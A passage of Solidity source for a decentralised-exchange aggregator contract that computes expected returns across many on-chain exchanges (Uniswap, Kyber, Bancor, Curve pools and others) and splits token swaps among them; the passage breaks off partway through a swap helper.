}
function getExchangeName(uint256 i) public pure returns(string memory) {
return [
"Uniswap",
"Kyber",
"Bancor",
"Oasis",
"Curve Compound",
"Curve USDT",
"Curve Y",
"Curve Binance",
"CurveSynthetix",
"Uniswap Compound",
"Uniswap CHAI",
"Uniswap Aave",
"Mooniswap",
"Uniswap V2",
"Uniswap V2 (ETH)",
"Uniswap V2 (DAI)",
"Uniswap V2 (USDC)",
"Curve Pax",
"Curve RenBTC",
"Curve tBTC",
"Dforce XSwap",
"Shell",
"mStable"
][i];
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags, // See constants in IOneSplit.sol
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
distribution = new uint256[](DEXES_COUNT);
if (fromToken == destToken) {
return (amount, 0, distribution);
}
function(IERC20,IERC20,uint256,uint256,uint256) view returns(uint256[] memory, uint256)[DEXES_COUNT] memory reserves = _getAllReserves(flags);
int256[][DEXES_COUNT] memory matrix;
uint256[DEXES_COUNT] memory gases;
for (uint i = 0; i < DEXES_COUNT; i++) {
uint256[] memory rets;
(rets, gases[i]) = reserves[i](fromToken, destToken, amount, parts, flags);
// Prepend zero
matrix[i] = new int256[](parts + 1);
for (uint j = 0; j < parts; j++) {
matrix[i][j + 1] = int256(rets[j]);
}
// Respect gas in first part
matrix[i][1] -= int256(gases[i].mul(destTokenEthPriceTimesGasPrice).div(1e18));
}
(, distribution) = _findBestDistribution(parts, matrix);
// Recalculate exact returnAmount
for (uint i = 0; i < DEXES_COUNT; i++) {
if (distribution[i] > 0) {
estimateGasAmount = estimateGasAmount.add(gases[i]);
returnAmount = returnAmount.add(
uint256(matrix[i][distribution[i]])
);
if (distribution[i] == 1) {
returnAmount = returnAmount.add(
gases[i].mul(destTokenEthPriceTimesGasPrice).div(1e18)
);
}
}
}
}
function _getAllReserves(uint256 flags)
internal
pure
returns(function(IERC20,IERC20,uint256,uint256,uint256) view returns(uint256[] memory, uint256)[DEXES_COUNT] memory)
{
bool invert = flags.check(FLAG_DISABLE_ALL_SPLIT_SOURCES);
return [
invert != flags.check(FLAG_DISABLE_UNISWAP) ? _calculateNoReturn : calculateUniswapReturn,
invert != flags.check(FLAG_DISABLE_KYBER) ? _calculateNoReturn : calculateKyberReturn,
invert != flags.check(FLAG_DISABLE_BANCOR) ? _calculateNoReturn : calculateBancorReturn,
invert != flags.check(FLAG_DISABLE_OASIS) ? _calculateNoReturn : calculateOasisReturn,
invert != flags.check(FLAG_DISABLE_CURVE_COMPOUND) ? _calculateNoReturn : calculateCurveCompound,
invert != flags.check(FLAG_DISABLE_CURVE_USDT) ? _calculateNoReturn : calculateCurveUsdt,
invert != flags.check(FLAG_DISABLE_CURVE_Y) ? _calculateNoReturn : calculateCurveY,
invert != flags.check(FLAG_DISABLE_CURVE_BINANCE) ? _calculateNoReturn : calculateCurveBinance,
invert != flags.check(FLAG_DISABLE_CURVE_SYNTHETIX) ? _calculateNoReturn : calculateCurveSynthetix,
(true) != flags.check(FLAG_ENABLE_UNISWAP_COMPOUND) ? _calculateNoReturn : calculateUniswapCompound,
(true) != flags.check(FLAG_ENABLE_UNISWAP_CHAI) ? _calculateNoReturn : calculateUniswapChai,
(true) != flags.check(FLAG_ENABLE_UNISWAP_AAVE) ? _calculateNoReturn : calculateUniswapAave,
invert != flags.check(FLAG_DISABLE_MOONISWAP) ? _calculateNoReturn : calculateMooniswap,
invert != flags.check(FLAG_DISABLE_UNISWAP_V2) ? _calculateNoReturn : calculateUniswapV2,
invert != flags.check(FLAG_DISABLE_UNISWAP_V2_ETH) ? _calculateNoReturn : calculateUniswapV2ETH,
invert != flags.check(FLAG_DISABLE_UNISWAP_V2_DAI) ? _calculateNoReturn : calculateUniswapV2DAI,
invert != flags.check(FLAG_DISABLE_UNISWAP_V2_USDC) ? _calculateNoReturn : calculateUniswapV2USDC,
invert != flags.check(FLAG_DISABLE_CURVE_PAX) ? _calculateNoReturn : calculateCurvePax,
invert != flags.check(FLAG_DISABLE_CURVE_RENBTC) ? _calculateNoReturn : calculateCurveRenBtc,
invert != flags.check(FLAG_DISABLE_CURVE_TBTC) ? _calculateNoReturn : calculateCurveTBtc,
invert != flags.check(FLAG_DISABLE_DFORCE_SWAP) ? _calculateNoReturn : calculateDforceSwap,
invert != flags.check(FLAG_DISABLE_SHELL) ? _calculateNoReturn : calculateShell,
invert != flags.check(FLAG_DISABLE_MSTABLE_MUSD) ? _calculateNoReturn : calculateMStableMUSD
];
}
function _calculateNoGas(
IERC20 /*fromToken*/,
IERC20 /*destToken*/,
uint256 /*amount*/,
uint256 /*parts*/,
uint256 /*destTokenEthPriceTimesGasPrice*/,
uint256 /*flags*/,
uint256 /*destTokenEthPrice*/
) internal view returns(uint256[] memory /*rets*/, uint256 /*gas*/) {
this;
}
// View Helpers
function _linearInterpolation(
uint256 value,
uint256 parts
) internal pure returns(uint256[] memory rets) {
rets = new uint256[](parts);
for (uint i = 0; i < parts; i++) {
rets[i] = value.mul(i + 1).div(parts);
}
}
function calculateMStableMUSD(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
if ((fromToken != usdc && fromToken != dai && fromToken != usdt && fromToken != tusd) ||
(destToken != usdc && destToken != dai && destToken != usdt && destToken != tusd))
{
return (new uint256[](parts), 0);
}
for (uint i = 1; i <= parts; i *= 2) {
(,, uint256 maxRet) = musd.getSwapOutput(fromToken, destToken, amount.mul(parts.div(i)).div(parts));
if (maxRet > 0) {
rets = new uint256[](parts);
for (uint j = 0; j < parts.div(i); j++) {
rets[j] = maxRet.mul(j + 1).div(parts.div(i));
}
break;
}
}
return (
rets,
700_000
);
}
function _calculateCurveSelector(
ICurve curve,
bytes4 sel,
IERC20[] memory tokens,
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets) {
int128 i = 0;
int128 j = 0;
for (uint t = 0; t < tokens.length; t++) {
if (fromToken == tokens[t]) {
i = int128(t + 1);
}
if (destToken == tokens[t]) {
j = int128(t + 1);
}
}
if (i == 0 || j == 0) {
return new uint256[](parts);
}
// curve.get_dy(i - 1, j - 1, amount);
// curve.get_dy_underlying(i - 1, j - 1, amount);
(bool success, bytes memory data) = address(curve).staticcall(abi.encodeWithSelector(sel, i - 1, j - 1, amount));
uint256 maxRet = (!success || data.length == 0) ? 0 : abi.decode(data, (uint256));
return _linearInterpolation(maxRet, parts);
}
function _calculateCurveUnderlying(
ICurve curve,
IERC20[] memory tokens,
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets) {
return _calculateCurveSelector(
curve,
curve.get_dy_underlying.selector,
tokens,
fromToken,
destToken,
amount,
parts,
flags
);
}
function _calculateCurve(
ICurve curve,
IERC20[] memory tokens,
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets) {
return _calculateCurveSelector(
curve,
curve.get_dy.selector,
tokens,
fromToken,
destToken,
amount,
parts,
flags
);
}
function calculateCurveCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = dai;
tokens[1] = usdc;
return (_calculateCurveUnderlying(
curveCompound,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 720_000);
}
function calculateCurveUsdt(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](3);
tokens[0] = dai;
tokens[1] = usdc;
tokens[2] = usdt;
return (_calculateCurveUnderlying(
curveUsdt,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 720_000);
}
function calculateCurveY(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](4);
tokens[0] = dai;
tokens[1] = usdc;
tokens[2] = usdt;
tokens[3] = tusd;
return (_calculateCurveUnderlying(
curveY,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 1_400_000);
}
function calculateCurveBinance(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](4);
tokens[0] = dai;
tokens[1] = usdc;
tokens[2] = usdt;
tokens[3] = busd;
return (_calculateCurveUnderlying(
curveBinance,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 1_400_000);
}
function calculateCurveSynthetix(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](4);
tokens[0] = dai;
tokens[1] = usdc;
tokens[2] = usdt;
tokens[3] = susd;
return (_calculateCurveUnderlying(
curveSynthetix,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 200_000);
}
function calculateCurvePax(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](4);
tokens[0] = dai;
tokens[1] = usdc;
tokens[2] = usdt;
tokens[3] = pax;
return (_calculateCurveUnderlying(
curvePax,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 1_000_000);
}
function calculateCurveRenBtc(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](2);
tokens[0] = renbtc;
tokens[1] = wbtc;
return (_calculateCurve(
curveRenBtc,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 130_000);
}
function calculateCurveTBtc(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20[] memory tokens = new IERC20[](3);
tokens[0] = tbtc;
tokens[1] = wbtc;
tokens[2] = hbtc;
return (_calculateCurve(
curveTBtc,
tokens,
fromToken,
destToken,
amount,
parts,
flags
), 145_000);
}
function calculateShell(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
(bool success, bytes memory data) = address(shell).staticcall(abi.encodeWithSelector(
shell.viewOriginTrade.selector,
fromToken,
destToken,
amount
));
if (!success || data.length == 0) {
return (new uint256[](parts), 0);
}
uint256 maxRet = abi.decode(data, (uint256));
return (_linearInterpolation(maxRet, parts), 300_000);
}
function calculateDforceSwap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
(bool success, bytes memory data) = address(dforceSwap).staticcall(
abi.encodeWithSelector(
dforceSwap.getAmountByInput.selector,
fromToken,
destToken,
amount
)
);
if (!success || data.length == 0) {
return (new uint256[](parts), 0);
}
uint256 maxRet = abi.decode(data, (uint256));
uint256 available = destToken.universalBalanceOf(address(dforceSwap));
if (maxRet > available) {
return (new uint256[](parts), 0);
}
return (_linearInterpolation(maxRet, parts), 160_000);
}
function _calculateUniswapFormula(uint256 fromBalance, uint256 toBalance, uint256 amount) internal pure returns(uint256) {
return amount.mul(toBalance).mul(997).div(
fromBalance.mul(1000).add(amount.mul(997))
);
}
function _calculateUniswapReturn(
IERC20 fromToken,
IERC20 destToken,
uint256[] memory amounts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
rets = amounts;
if (!fromToken.isETH()) {
IUniswapExchange fromExchange = uniswapFactory.getExchange(fromToken);
if (fromExchange == IUniswapExchange(0)) {
return (new uint256[](rets.length), 0);
}
uint256 fromTokenBalance = fromToken.universalBalanceOf(address(fromExchange));
uint256 fromEtherBalance = address(fromExchange).balance;
for (uint i = 0; i < rets.length; i++) {
rets[i] = _calculateUniswapFormula(fromTokenBalance, fromEtherBalance, rets[i]);
}
}
if (!destToken.isETH()) {
IUniswapExchange toExchange = uniswapFactory.getExchange(destToken);
if (toExchange == IUniswapExchange(0)) {
return (new uint256[](rets.length), 0);
}
uint256 toEtherBalance = address(toExchange).balance;
uint256 toTokenBalance = destToken.universalBalanceOf(address(toExchange));
for (uint i = 0; i < rets.length; i++) {
rets[i] = _calculateUniswapFormula(toEtherBalance, toTokenBalance, rets[i]);
}
}
return (rets, fromToken.isETH() || destToken.isETH() ? 60_000 : 100_000);
}
function calculateUniswapReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
return _calculateUniswapReturn(
fromToken,
destToken,
_linearInterpolation(amount, parts),
flags
);
}
function _calculateUniswapWrapped(
IERC20 fromToken,
IERC20 midToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 midTokenPrice,
uint256 flags,
uint256 gas1,
uint256 gas2
) internal view returns(uint256[] memory rets, uint256 gas) {
if (!fromToken.isETH() && destToken.isETH()) {
(rets, gas) = _calculateUniswapReturn(
midToken,
destToken,
_linearInterpolation(amount.mul(1e18).div(midTokenPrice), parts),
flags
);
return (rets, gas + gas1);
}
else if (fromToken.isETH() && !destToken.isETH()) {
(rets, gas) = _calculateUniswapReturn(
fromToken,
midToken,
_linearInterpolation(amount, parts),
flags
);
for (uint i = 0; i < parts; i++) {
rets[i] = rets[i].mul(midTokenPrice).div(1e18);
}
return (rets, gas + gas2);
}
return (new uint256[](parts), 0);
}
function calculateUniswapCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20 midPreToken;
if (!fromToken.isETH() && destToken.isETH()) {
midPreToken = fromToken;
}
else if (!destToken.isETH() && fromToken.isETH()) {
midPreToken = destToken;
}
if (!midPreToken.isETH()) {
ICompoundToken midToken = _getCompoundToken(midPreToken);
if (midToken != ICompoundToken(0)) {
return _calculateUniswapWrapped(
fromToken,
midToken,
destToken,
amount,
parts,
midToken.exchangeRateStored(),
flags,
200_000,
200_000
);
}
}
return (new uint256[](parts), 0);
}
function calculateUniswapChai(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
if (fromToken == dai && destToken.isETH() ||
fromToken.isETH() && destToken == dai)
{
return _calculateUniswapWrapped(
fromToken,
chai,
destToken,
amount,
parts,
chai.chaiPrice(),
flags,
180_000,
160_000
);
}
return (new uint256[](parts), 0);
}
function calculateUniswapAave(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
IERC20 midPreToken;
if (!fromToken.isETH() && destToken.isETH()) {
midPreToken = fromToken;
}
else if (!destToken.isETH() && fromToken.isETH()) {
midPreToken = destToken;
}
if (!midPreToken.isETH()) {
IAaveToken midToken = _getAaveToken(midPreToken);
if (midToken != IAaveToken(0)) {
return _calculateUniswapWrapped(
fromToken,
midToken,
destToken,
amount,
parts,
1e18,
flags,
310_000,
670_000
);
}
}
return (new uint256[](parts), 0);
}
function _calculateKyberReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 flags
) internal view returns(uint256 returnAmount, uint256 gas) {
(bool success, bytes memory data) = address(kyberNetworkProxy).staticcall.gas(2300)(abi.encodeWithSelector(
kyberNetworkProxy.kyberNetworkContract.selector
));
if (!success || data.length == 0) {
return (0, 0);
}
IKyberNetworkContract kyberNetworkContract = IKyberNetworkContract(abi.decode(data, (address)));
if (fromToken.isETH() || destToken.isETH()) {
return _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, destToken, amount, flags);
}
(uint256 value, uint256 gasFee) = _calculateKyberReturnWithEth(kyberNetworkContract, fromToken, ETH_ADDRESS, amount, flags);
if (value == 0) {
return (0, 0);
}
(uint256 value2, uint256 gasFee2) = _calculateKyberReturnWithEth(kyberNetworkContract, ETH_ADDRESS, destToken, value, flags);
return (value2, gasFee + gasFee2);
}
function _calculateKyberReturnWithEth(
IKyberNetworkContract kyberNetworkContract,
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 flags
) internal view returns(uint256 returnAmount, uint256 gas) {
require(fromToken.isETH() || destToken.isETH(), "One of the tokens should be ETH");
(bool success, bytes memory data) = address(kyberNetworkContract).staticcall.gas(1500000)(abi.encodeWithSelector(
kyberNetworkContract.searchBestRate.selector,
fromToken.isETH() ? ETH_ADDRESS : fromToken,
destToken.isETH() ? ETH_ADDRESS : destToken,
amount,
true
));
if (!success) {
return (0, 0);
}
(address reserve, uint256 ret) = abi.decode(data, (address,uint256));
if (ret == 0) {
return (0, 0);
}
if ((reserve == 0x31E085Afd48a1d6e51Cc193153d625e8f0514C7F && !flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) ||
(reserve == 0x1E158c0e93c30d24e918Ef83d1e0bE23595C3c0f && !flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) ||
(reserve == 0x053AA84FCC676113a57e0EbB0bD1913839874bE4 && !flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE)))
{
return (0, 0);
}
if (!flags.check(FLAG_ENABLE_KYBER_UNISWAP_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberUniswapReserve(reserve).uniswapFactory.selector
));
if (success) {
return (0, 0);
}
}
if (!flags.check(FLAG_ENABLE_KYBER_OASIS_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberOasisReserve(reserve).otc.selector
));
if (success) {
return (0, 0);
}
}
if (!flags.check(FLAG_ENABLE_KYBER_BANCOR_RESERVE)) {
(success,) = reserve.staticcall.gas(2300)(abi.encodeWithSelector(
IKyberBancorReserve(reserve).bancorEth.selector
));
if (success) {
return (0, 0);
}
}
return (
ret.mul(amount)
.mul(10 ** IERC20(destToken).universalDecimals())
.div(10 ** IERC20(fromToken).universalDecimals())
.div(1e18),
700_000
);
}
function calculateKyberReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
rets = new uint256[](parts);
for (uint i = 0; i < parts; i++) {
(rets[i], gas) = _calculateKyberReturn(fromToken, destToken, amount.mul(i + 1).div(parts), flags);
if (rets[i] == 0) {
break;
}
}
return (rets, gas);
}
function calculateBancorReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
IBancorNetwork bancorNetwork = IBancorNetwork(bancorContractRegistry.addressOf("BancorNetwork"));
address[] memory path = _buildBancorPath(fromToken, destToken);
rets = _linearInterpolation(amount, parts);
for (uint i = 0; i < parts; i++) {
(bool success, bytes memory data) = address(bancorNetwork).staticcall.gas(500000)(
abi.encodeWithSelector(
bancorNetwork.getReturnByPath.selector,
path,
rets[i]
)
);
if (!success || data.length == 0) {
for (; i < parts; i++) {
rets[i] = 0;
}
break;
} else {
(uint256 ret,) = abi.decode(data, (uint256,uint256));
rets[i] = ret;
}
}
return (rets, path.length.mul(150_000));
}
function calculateOasisReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
rets = _linearInterpolation(amount, parts);
for (uint i = 0; i < parts; i++) {
(bool success, bytes memory data) = address(oasisExchange).staticcall.gas(500000)(
abi.encodeWithSelector(
oasisExchange.getBuyAmount.selector,
destToken.isETH() ? weth : destToken,
fromToken.isETH() ? weth : fromToken,
rets[i]
)
);
if (!success || data.length == 0) {
for (; i < parts; i++) {
rets[i] = 0;
}
break;
} else {
rets[i] = abi.decode(data, (uint256));
}
}
return (rets, 500_000);
}
function calculateMooniswap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
IMooniswap mooniswap = mooniswapRegistry.target();
(bool success, bytes memory data) = address(mooniswap).staticcall.gas(1000000)(
abi.encodeWithSelector(
mooniswap.getReturn.selector,
fromToken,
destToken,
amount
)
);
if (!success || data.length == 0) {
return (new uint256[](parts), 0);
}
uint256 maxRet = abi.decode(data, (uint256));
return (_linearInterpolation(maxRet, parts), 1_000_000);
}
function calculateUniswapV2(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
return _calculateUniswapV2(
fromToken,
destToken,
_linearInterpolation(amount, parts),
flags
);
}
function calculateUniswapV2ETH(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
if (fromToken.isETH() || fromToken == weth || destToken.isETH() || destToken == weth) {
return (new uint256[](parts), 0);
}
return _calculateUniswapV2OverMidToken(
fromToken,
weth,
destToken,
amount,
parts,
flags
);
}
function calculateUniswapV2DAI(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
if (fromToken == dai || destToken == dai) {
return (new uint256[](parts), 0);
}
return _calculateUniswapV2OverMidToken(
fromToken,
dai,
destToken,
amount,
parts,
flags
);
}
function calculateUniswapV2USDC(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
if (fromToken == usdc || destToken == usdc) {
return (new uint256[](parts), 0);
}
return _calculateUniswapV2OverMidToken(
fromToken,
usdc,
destToken,
amount,
parts,
flags
);
}
function _calculateUniswapV2(
IERC20 fromToken,
IERC20 destToken,
uint256[] memory amounts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
rets = new uint256[](amounts.length);
IERC20 fromTokenReal = fromToken.isETH() ? weth : fromToken;
IERC20 destTokenReal = destToken.isETH() ? weth : destToken;
IUniswapV2Exchange exchange = uniswapV2.getPair(fromTokenReal, destTokenReal);
if (exchange != IUniswapV2Exchange(0)) {
uint256 fromTokenBalance = fromTokenReal.universalBalanceOf(address(exchange));
uint256 destTokenBalance = destTokenReal.universalBalanceOf(address(exchange));
for (uint i = 0; i < amounts.length; i++) {
rets[i] = _calculateUniswapFormula(fromTokenBalance, destTokenBalance, amounts[i]);
}
return (rets, 50_000);
}
}
function _calculateUniswapV2OverMidToken(
IERC20 fromToken,
IERC20 midToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
) internal view returns(uint256[] memory rets, uint256 gas) {
rets = _linearInterpolation(amount, parts);
uint256 gas1;
uint256 gas2;
(rets, gas1) = _calculateUniswapV2(fromToken, midToken, rets, flags);
(rets, gas2) = _calculateUniswapV2(midToken, destToken, rets, flags);
return (rets, gas1 + gas2);
}
function _calculateNoReturn(
IERC20 /*fromToken*/,
IERC20 /*destToken*/,
uint256 /*amount*/,
uint256 parts,
uint256 /*flags*/
) internal view returns(uint256[] memory rets, uint256 gas) {
this;
return (new uint256[](parts), 0);
}
}
contract OneSplitBaseWrap is IOneSplit, OneSplitRoot {
function _swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 flags // See constants in IOneSplit.sol
) internal {
if (fromToken == destToken) {
return;
}
_swapFloor(
fromToken,
destToken,
amount,
distribution,
flags
);
}
function _swapFloor(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256[] memory distribution,
uint256 /*flags*/ // See constants in IOneSplit.sol
) internal;
}
contract OneSplit is IOneSplit, OneSplitRoot {
IOneSplitView public oneSplitView;
constructor(IOneSplitView _oneSplitView) public {
oneSplitView = _oneSplitView;
}
function() external payable {
// solium-disable-next-line security/no-tx-origin
require(msg.sender != tx.origin);
}
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
function getExpectedReturnWithGas(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
uint256 flags,
uint256 destTokenEthPriceTimesGasPrice
)
public
view
returns(
uint256 returnAmount,
uint256 estimateGasAmount,
uint256[] memory distribution
)
{
return oneSplitView.getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
destTokenEthPriceTimesGasPrice
);
}
function swap(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 /*minReturn*/,
uint256[] memory distribution,
uint256 /*flags*/ // See constants in IOneSplit.sol
) public payable returns(uint256 returnAmount) {
if (fromToken == destToken) {
return amount;
}
function(IERC20,IERC20,uint256) returns(uint256)[DEXES_COUNT] memory reserves = [
_swapOnUniswap,
_swapOnKyber,
_swapOnBancor,
_swapOnOasis,
_swapOnCurveCompound,
_swapOnCurveUsdt,
_swapOnCurveY,
_swapOnCurveBinance,
_swapOnCurveSynthetix,
_swapOnUniswapCompound,
_swapOnUniswapChai,
_swapOnUniswapAave,
_swapOnMooniswap,
_swapOnUniswapV2,
_swapOnUniswapV2ETH,
_swapOnUniswapV2DAI,
_swapOnUniswapV2USDC,
_swapOnCurvePax,
_swapOnCurveRenBtc,
_swapOnCurveTBtc,
_swapOnDforceSwap,
_swapOnShell,
_swapOnMStableMUSD
];
require(distribution.length <= reserves.length, "OneSplit: Distribution array should not exceed reserves array size");
uint256 parts = 0;
uint256 lastNonZeroIndex = 0;
for (uint i = 0; i < distribution.length; i++) {
if (distribution[i] > 0) {
parts = parts.add(distribution[i]);
lastNonZeroIndex = i;
}
}
require(parts > 0, "OneSplit: distribution should contain non-zeros");
uint256 remainingAmount = amount;
for (uint i = 0; i < distribution.length; i++) {
if (distribution[i] == 0) {
continue;
}
uint256 swapAmount = amount.mul(distribution[i]).div(parts);
if (i == lastNonZeroIndex) {
swapAmount = remainingAmount;
}
remainingAmount -= swapAmount;
reserves[i](fromToken, destToken, swapAmount);
}
returnAmount = destToken.universalBalanceOf(address(this));
}
// Swap helpers
function _swapOnCurveCompound(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) + (fromToken == usdc ? 2 : 0);
int128 j = (destToken == dai ? 1 : 0) + (destToken == usdc ? 2 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveCompound), amount);
curveCompound.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveUsdt(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveUsdt), amount);
curveUsdt.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveY(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == tusd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == tusd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveY), amount);
curveY.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveBinance(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == busd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == busd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveBinance), amount);
curveBinance.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurveSynthetix(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
(fromToken == usdc ? 2 : 0) +
(fromToken == usdt ? 3 : 0) +
(fromToken == susd ? 4 : 0);
int128 j = (destToken == dai ? 1 : 0) +
(destToken == usdc ? 2 : 0) +
(destToken == usdt ? 3 : 0) +
(destToken == susd ? 4 : 0);
if (i == 0 || j == 0) {
return 0;
}
fromToken.universalApprove(address(curveSynthetix), amount);
curveSynthetix.exchange_underlying(i - 1, j - 1, amount, 0);
}
function _swapOnCurvePax(
IERC20 fromToken,
IERC20 destToken,
uint256 amount
) internal returns(uint256) {
int128 i = (fromToken == dai ? 1 : 0) +
